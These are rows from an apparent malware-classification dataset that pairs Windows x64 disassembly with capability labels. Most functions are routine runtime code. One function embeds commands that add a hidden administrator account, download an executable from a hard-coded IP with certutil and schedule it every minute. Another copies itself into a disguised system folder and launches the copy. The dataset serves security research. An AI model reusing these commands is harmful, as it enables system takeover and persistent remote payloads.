joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1cf44a968a4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1cf44a7d8b0
sub rsp, rax
mov rax, qword [0x1cf44abc080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1cf44a910cc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1cf44a968f3
mov rax, rbp
jmp 0x1cf44a969fb
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x1cf44a60000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x5e8c0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1cf44a977f0
mov r13, rax
lea rax, [0x1cf44a60000]
mov rcx, qword [rax + rbx*8 + 0x5e8c0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1cf44a969f7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1cf44a969f7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1cf44a977f0
test rax, rax
js 0x1cf44a969f7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1cf44a969f7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1cf44a969e9
lea r8, [0x1cf44a60000]
cmp rcx, rdx
jae 0x1cf44a969e9
cmp byte [rcx], 0xd
jne 0x1cf44a969cf
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1cf44a969de
cmp byte [rcx + 1], 0xa
jne 0x1cf44a969de
inc rcx
jmp 0x1cf44a969de
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x5c4c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1cf44a969b1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1cf44a969fb
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1cf44a7cfc0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1cf44a96b90
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1cf44abe8c0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1cf44a96be7
cmp word [rdx], r13w
jne 0x1cf44a96be7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1cf44a96bec
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1cf44a96d11
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1cf44a96d32
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1cf44a96c25
mov rdx, r9
mov word [rbx], cx
jmp 0x1cf44a96c4c
cmp r9, r8
jae 0x1cf44a96c5c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1cf44a96c06
jmp 0x1cf44a96d11
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1cf44a96d06
cmp dword [rsp + 0x80], esi
je 0x1cf44a96d06
lea r8, [0x1cf44abe8c0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1cf44a96cde
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1cf44a96cae
mov word [rbx], r13w
jmp 0x1cf44a96d0e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1cf44a96cbb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1cf44a96d0e
cmp word [rsp + 0x70], r13w
jne 0x1cf44a96ceb
cmp rbx, r14
je 0x1cf44a96ca8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1cf44a977f8
cmp word [rsp + 0x70], r13w
je 0x1cf44a96d11
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1cf44abe8c0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1cf44a96d0b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1cf44a96d11
Function at 0x1cf44a9aa00
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1cf44a9aa30
xor eax, eax
jmp 0x1cf44a9aaf3
mov rbp, rbx
cmp word [rax], si
je 0x1cf44a9aa55
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1cf44a9aa3c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1cf44a9aa38
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1cf44a99550
movsxd r14, eax
test eax, eax
jne 0x1cf44a9aa93
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1cf44a9aa29
mov rcx, r14
call fcn.1cf44a952b8
mov rdi, rax
test rax, rax
jne 0x1cf44a9aaac
xor ecx, ecx
call fcn.1cf44a92e90
jmp 0x1cf44a9aa88
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1cf44a99550
test eax, eax
jne 0x1cf44a9aadd
mov rcx, rdi
call fcn.1cf44a92e90
jmp 0x1cf44a9aae7
xor ecx, ecx
call fcn.1cf44a92e90
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1cf44a9ab10
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1cf44a9ab97
mov rsi, rbx
cmp word [rax], bp
je 0x1cf44a9ab56
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1cf44a9ab40
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1cf44a9ab3c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1cf44a952b8
mov rdi, rax
test rax, rax
je 0x1cf44a9ab84
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1cf44aa37f0
mov rbp, rdi
xor ecx, ecx
call fcn.1cf44a92e90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1cf44a9deb4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1cf44a91874
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1cf44a9df55
cmp ebx, dword [rsp + 0x30]
je 0x1cf44a9df4e
test esi, esi
je 0x1cf44a9df4e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1cf44a9df29
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1cf44a9df36
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1cf44a9df13
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1cf44a9df3a
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1cf44a9df57
mov eax, 1
jmp 0x1cf44a9df57
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1cf44aa1ae8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1cf44a83c18
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1cf44aa1b72
cmp byte [rbp - 0x21], r15b
je 0x1cf44aa1b6d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1cf44aa1ba8
call fcn.1cf44a948d0
test eax, eax
jne 0x1cf44aa1b94
cmp byte [rbp - 0x21], r15b
je 0x1cf44aa1b8c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1cf44aa1ba8
cmp byte [rbp - 0x21], r15b
je 0x1cf44aa1ba5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1cf44a8dd10
test eax, eax
jne 0x1cf44aa1c48
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1cf44a83c18
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1cf44aa1be7
cmp byte [rbp - 0x21], r15b
je 0x1cf44aa1c1c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1cf44aa1c1c
call fcn.1cf44a948d0
test eax, eax
jne 0x1cf44aa1c08
cmp byte [rbp - 0x21], r15b
je 0x1cf44aa1c01
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1cf44aa1c1c
cmp byte [rbp - 0x21], r15b
je 0x1cf44aa1c19
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1cf44a8dd10
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1cf44aa1c48
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1cf44aa1c4b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1cf44aa1c59
mov rcx, rdi
call fcn.1cf44a92e90
cmp byte [rbp + 0x3f], r15b
je 0x1cf44aa1c68
mov rcx, qword [rbp + 0x27]
call fcn.1cf44a92e90
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1cf44aa2a34
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1cf44a977f8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1cf44a977f8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1cf44aa2b84
cmp rax, 0xffffffffffffffff
je 0x1cf44aa2b84
xor edi, edi
test rbp, rbp
jle 0x1cf44aa2b2f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1cf44a933ac
mov rbx, rax
test rax, rax
jne 0x1cf44aa2abc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1cf44aa2b25
mov edx, 0x8000
mov ecx, r14d
call fcn.1cf44a8ef00
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1cf44a92928
cmp eax, 0xffffffff
je 0x1cf44aa2b05
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1cf44aa2acc
mov edx, r15d
mov ecx, r14d
call fcn.1cf44a8ef00
jmp 0x1cf44aa2b25
cmp byte [rsi + 0x38], dil
je 0x1cf44aa2b1c
cmp dword [rsi + 0x34], 5
jne 0x1cf44aa2b1c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1cf44aa2b25
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1cf44a92e90
jmp 0x1cf44aa2b98
jns 0x1cf44aa2b98
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1cf44a977f8
cmp rax, 0xffffffffffffffff
jne 0x1cf44aa2b50
cmp byte [rsi + 0x30], dil
je 0x1cf44aa2b98
mov edi, dword [rsi + 0x2c]
jmp 0x1cf44aa2b98
mov ecx, r14d
call fcn.1cf44a9b960
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1cf44aa2b98
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1cf44aa2b98
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1cf44aa2b91
mov eax, dword [rsi + 0x2c]
jmp 0x1cf44aa2b96
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1cf44a977f8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1cf44aa33a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1cf44aa33c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1cf44aa33c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001ca0
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rbx, rcx
xor edi, edi
mov r8d, 0x104
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], rdi
lea r8d, [rdi + 0x33]
lea rdx, str.C:Program_Files__x86_Windows_NTTableTextService_
lea rcx, [rsp + 0x68]
call fcn.1400027b0
nop
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, qword [rbx + 0x10]
movabs rax, 0x7ffffffffffffffe
mov rdx, qword [rsp + 0x78]
sub rax, rdx
cmp rax, rcx
jb 0x140001e9d
lea r9, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova r9, qword [rsp + 0x68]
cmp qword [rbx + 0x18], 7
jbe 0x140001d5a
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x48]
call fcn.1400028f0
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001dad
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
xor r8d, r8d
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova r8, qword [rsp + 0x48]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140001e22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002f6c
movdqa xmm0, xmmword [0x1400045f0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], di
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140001e79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002f6c
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140002f10
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1400011a0
nop
int3
Function at 0x1400038c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000390e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000390e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000390e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000390e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000390e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003910
xor al, al
add rsp, 0x28
ret

Function at 0x180001000
Capabilities:
Execute command
Schedule task via at
Schedule task via schtasks

Disassembly:
sub rsp, 0x28
cmp edx, 1
jne 0x18000103d
lea rcx, str.net_user_tshark_Aa123456__add
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_localgroup_administrators_tshark__add
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.certutil.exe__urlcache__split__f_http:__121.4.154.240:4201_xrk_NTP_shanghai.exe_C:WindowsSystem32_tshark.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.schtasks__create__tn_tshark__tr_C:WindowsSystem32_tshark.exe__sc_minute__mo_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
add rsp, 0x28
ret
Function at 0x1400177f0
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
lea rcx, [0x140022b54]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140022bf0]
call fcn.1400010a0
lea rcx, [0x140022da0]
call fcn.1400010a0
lea rcx, [0x140022dc0]
call fcn.1400010a0
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
cmp al, 0x30
je 0x140017a1c
cmp al, 0x31
jne 0x1400178a3
lea rcx, str.___________________________n
call fcn.1400010a0
lea rcx, [0x140022e10]
call fcn.1400010a0
lea rcx, [0x140022e20]
call fcn.1400010a0
lea rcx, [0x140022e80]
call fcn.1400010a0
lea rcx, [0x140022ee0]
call fcn.1400010a0
lea rcx, [0x140022f30]
call fcn.1400010a0
lea rcx, [0x140022f80]
call fcn.1400010a0
lea rcx, [0x140022ff0]
call fcn.1400010a0
lea rcx, [0x140023070]
jmp 0x1400179bf
cmp al, 0x32
jne 0x1400178ef
lea rcx, str.___________________________n
call fcn.1400010a0
lea rcx, [0x1400230b8]
call fcn.1400010a0
lea rcx, [0x1400230d0]
call fcn.1400010a0
lea rcx, [0x140023130]
call fcn.1400010a0
lea rcx, [0x140023190]
call fcn.1400010a0
lea rcx, [0x1400231e8]
jmp 0x1400179bf
cmp al, 0x33
jne 0x140017984
lea rcx, str.___________________________n
call fcn.1400010a0
lea rcx, [0x140023210]
call fcn.1400010a0
lea rcx, [0x140023220]
call fcn.1400010a0
lea rcx, [0x140023260]
call fcn.1400010a0
lea rcx, [0x140023290]
call fcn.1400010a0
lea rcx, [0x1400232c0]
call fcn.1400010a0
lea rcx, [0x1400232f0]
call fcn.1400010a0
lea rcx, [0x140023348]
call fcn.1400010a0
lea rcx, str.______
call fcn.1400010a0
lea rcx, str.____________
call fcn.1400010a0
lea rcx, [0x140023438]
call fcn.1400010a0
lea rcx, [0x140023460]
jmp 0x1400179bf
cmp al, 0x34
jne 0x1400179dd
lea rcx, str.___________________________n
call fcn.1400010a0
lea rcx, [0x1400234a8]
call fcn.1400010a0
lea rcx, [0x1400234c0]
call fcn.1400010a0
lea rcx, [0x140023520]
call fcn.1400010a0
lea rcx, [0x140023578]
call fcn.1400010a0
lea rcx, str.___________________________n
call fcn.1400010a0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140022b54]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140022bf0]
call fcn.1400010a0
lea rcx, [0x140022da0]
call fcn.1400010a0
lea rcx, [0x140022dc0]
call fcn.1400010a0
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
cmp al, 0x30
jne 0x140017833
add rsp, 0x28
ret
Function at 0x140018a00
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
movsxd rbx, ecx
xor esi, esi
mov edi, esi
mov rbp, rbx
mov r12, rbx
shl r12, 6
lea r13, [0x140028780]
mov r15, rbx
cmp dword [r12 + r13 + 8], esi
jle 0x140018a82
mov r14d, esi
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [r12 + r13 + 0x10]
cmp dword [r14 + rax + 8], 3
je 0x140018a75
xor r8d, r8d
mov edx, edi
mov ecx, ebx
call qword [r14 + rax + 0x68]
cmp dword [0x140028768], esi
je 0x140018bef
inc edi
add r14, 0x70
cmp edi, dword [r12 + r13 + 8]
jl 0x140018a50
mov rax, rbp
shl rax, 6
cmp dword [rax + r13 + 0xc], esi
jle 0x140018b60
mov rbp, r15
shl rbp, 6
shl r15, 6
mov r14, rsi
lea rax, [rsp + 0x20]
mov qword [rsp + 0xc8], rax
mov rdi, qword [rbp + r13 + 0x28]
add rdi, r14
mov eax, dword [rdi]
mov dword [rsp + 0x20], eax
mov eax, dword [rdi + 4]
mov dword [rsp + 0x24], eax
mov eax, dword [rdi + 8]
mov dword [rsp + 0x28], eax
mov eax, dword [rdi + 0xc]
mov dword [rsp + 0x2c], eax
mov eax, dword [rdi + 0x10]
mov dword [rsp + 0x30], eax
mov eax, dword [rdi + 0x14]
mov dword [rsp + 0x34], eax
movzx eax, byte [rdi + 0x18]
mov byte [rsp + 0x38], al
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140015460
nop
lea rdx, [rdi + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140015460
mov rax, qword [rdi + 0x60]
mov qword [rsp + 0x80], rax
mov rax, qword [rdi + 0x68]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x20]
call fcn.14001a5b0
test al, al
je 0x140018b3f
mov rax, qword [rbp + r13 + 0x28]
mov r8d, 1
mov edx, esi
mov ecx, ebx
call qword [r14 + rax + 0x68]
cmp dword [0x140028768], 0
je 0x140018bef
inc esi
add r14, 0x70
cmp esi, dword [r15 + r13 + 0xc]
jl 0x140018aa2
mov rbp, rbx
shl rbp, 6
mov edi, dword [r13 + rbp + 4]
test edi, edi
jle 0x140018be8
mov edx, ebx
lea rcx, [0x1400236b8]
call fcn.1400010a0
mov eax, dword [r13 + rbp + 4]
test eax, eax
jle 0x140018bae
nop dword [rax]
nop dword [rax + rax]
dec eax
mov dword [r13 + rbp + 4], eax
mov ecx, ebx
call fcn.14001aa30
mov ecx, ebx
call fcn.14001bbc0
mov eax, dword [r13 + rbp + 4]
test eax, eax
jg 0x140018b90
mov edx, ebx
lea rcx, [0x1400236d0]
call fcn.1400010a0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140015f50
cmp edi, 2
jne 0x140018be8
mov edx, 1
mov ecx, ebx
call fcn.14001ac30
cmp dword [0x140028768], 0
je 0x140018bef
mov ecx, ebx
call fcn.140019db0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14001aaf0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rsi, ecx
xor ebx, ebx
mov rax, rsi
lea rcx, [0x140028780]
shl rax, 6
cmp dword [rax + rcx + 0xc], ebx
lea rbp, [rax + rcx]
jle 0x14001abd4
lea r14, [rax + rcx]
mov edi, ebx
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r14 + 0x28]
add rcx, rdi
cmp qword [rcx + 0x38], 0xf
lea rax, [rcx + 0x20]
jbe 0x14001ab56
mov rax, qword [rcx + 0x20]
cmp qword [rcx + 0x30], 4
jne 0x14001abc5
cmp dword [rax], 0xbcb3f3b4
jne 0x14001abc5
cmp esi, 1
jne 0x14001abf1
lea rcx, [0x140023a58]
call fcn.1400010a0
